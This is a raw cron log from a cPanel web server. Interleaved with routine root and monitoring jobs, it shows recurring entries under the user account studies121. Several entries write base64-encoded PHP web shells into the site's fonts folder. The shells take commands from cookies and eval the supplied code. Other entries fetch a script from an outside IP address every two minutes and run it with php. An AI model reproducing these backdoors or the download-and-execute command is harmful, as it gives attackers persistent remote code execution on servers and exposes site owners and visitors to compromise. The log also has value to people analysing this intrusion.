Sep  5 00:31:01 ip-184-168-122-23 CROND[11887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:31:01 ip-184-168-122-23 CROND[11886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:31:01 ip-184-168-122-23 CROND[11889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:31:01 ip-184-168-122-23 CROND[11888]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 00:31:01 ip-184-168-122-23 CROND[11893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:32:01 ip-184-168-122-23 CROND[11971]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:32:01 ip-184-168-122-23 CROND[11972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:32:01 ip-184-168-122-23 CROND[11974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:32:01 ip-184-168-122-23 CROND[11973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:32:01 ip-184-168-122-23 CROND[11976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:33:01 ip-184-168-122-23 CROND[12138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:33:01 ip-184-168-122-23 CROND[12137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:33:01 ip-184-168-122-23 CROND[12139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:33:01 ip-184-168-122-23 CROND[12140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:34:01 ip-184-168-122-23 CROND[12226]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:34:01 ip-184-168-122-23 CROND[12228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:34:01 ip-184-168-122-23 CROND[12229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:34:01 ip-184-168-122-23 CROND[12231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:34:01 ip-184-168-122-23 CROND[12232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:35:01 ip-184-168-122-23 CROND[12318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:35:01 ip-184-168-122-23 CROND[12324]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:35:01 ip-184-168-122-23 CROND[12325]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:35:01 ip-184-168-122-23 CROND[12323]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 00:35:01 ip-184-168-122-23 CROND[12322]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 00:35:01 ip-184-168-122-23 CROND[12320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:35:01 ip-184-168-122-23 CROND[12321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:35:01 ip-184-168-122-23 CROND[12326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:36:01 ip-184-168-122-23 CROND[12430]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:36:01 ip-184-168-122-23 CROND[12431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:36:01 ip-184-168-122-23 CROND[12432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:36:01 ip-184-168-122-23 CROND[12433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:36:01 ip-184-168-122-23 CROND[12434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:37:01 ip-184-168-122-23 CROND[12521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:37:01 ip-184-168-122-23 CROND[12522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:37:01 ip-184-168-122-23 CROND[12527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:37:01 ip-184-168-122-23 CROND[12528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:38:01 ip-184-168-122-23 CROND[12617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:38:01 ip-184-168-122-23 CROND[12621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:38:01 ip-184-168-122-23 CROND[12618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:38:01 ip-184-168-122-23 CROND[12619]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:38:01 ip-184-168-122-23 CROND[12620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:39:01 ip-184-168-122-23 CROND[12777]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 00:39:01 ip-184-168-122-23 CROND[12778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:39:01 ip-184-168-122-23 CROND[12779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:39:01 ip-184-168-122-23 CROND[12780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:39:01 ip-184-168-122-23 CROND[12782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:40:01 ip-184-168-122-23 CROND[12944]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:40:01 ip-184-168-122-23 CROND[12946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:40:01 ip-184-168-122-23 CROND[12950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:40:01 ip-184-168-122-23 CROND[12948]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:40:01 ip-184-168-122-23 CROND[12947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:40:01 ip-184-168-122-23 CROND[12949]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 00:40:01 ip-184-168-122-23 CROND[12951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:40:01 ip-184-168-122-23 CROND[12952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:41:01 ip-184-168-122-23 CROND[13049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:41:01 ip-184-168-122-23 CROND[13051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:41:01 ip-184-168-122-23 CROND[13050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:41:01 ip-184-168-122-23 CROND[13048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:42:01 ip-184-168-122-23 CROND[13178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:42:01 ip-184-168-122-23 CROND[13180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:42:01 ip-184-168-122-23 CROND[13182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:42:01 ip-184-168-122-23 CROND[13184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:42:01 ip-184-168-122-23 CROND[13183]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:43:01 ip-184-168-122-23 CROND[13291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
